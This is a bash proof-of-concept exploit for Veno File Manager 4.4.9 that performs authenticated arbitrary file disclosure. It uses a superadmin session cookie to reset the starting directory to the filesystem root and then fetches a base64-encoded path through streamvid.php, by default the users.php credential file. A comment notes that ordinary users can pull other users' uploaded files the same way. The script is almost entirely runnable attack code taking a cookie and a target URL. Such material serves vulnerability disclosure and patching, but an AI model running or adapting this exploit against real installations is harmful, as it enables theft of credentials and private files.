#!/usr/bin/env bash

##########################################################
########## SUPERADMIN ARBITRARY FILE DISCLOSURE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker with superadmin access
# extract the contents of ony file in the system the
# application has read access to.
#
# This example will read vfm-admin/_content/users/users.php
#
# It for sure can extract any file of the application
# subfolder. For system files it depends on the webserver
# software and configuration.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-disclosure.sh <vfm cookie name> <vfm cookie value> <root url of application>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Change starting dir to filesystem root"
curl -X POST \
  -b "$1=$2" \
  -d "starting_dir=./" \
  "$3/vfm-admin/index.php" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

# === This same technique without step 01 can be used for any
# === user to extract other user uploaded files as long as we
# === know the path and name of the file.
echo "[ STEP :: 02 ] :: Pull file"
curl -X GET \
  -b "$1=$2" \
  "$3/vfm-admin/ajax/streamvid.php?vid=$(echo -n "vfm-admin/_content/users/users.php" | base64)"
echo "[ STEP :: 02 ] :: DONE"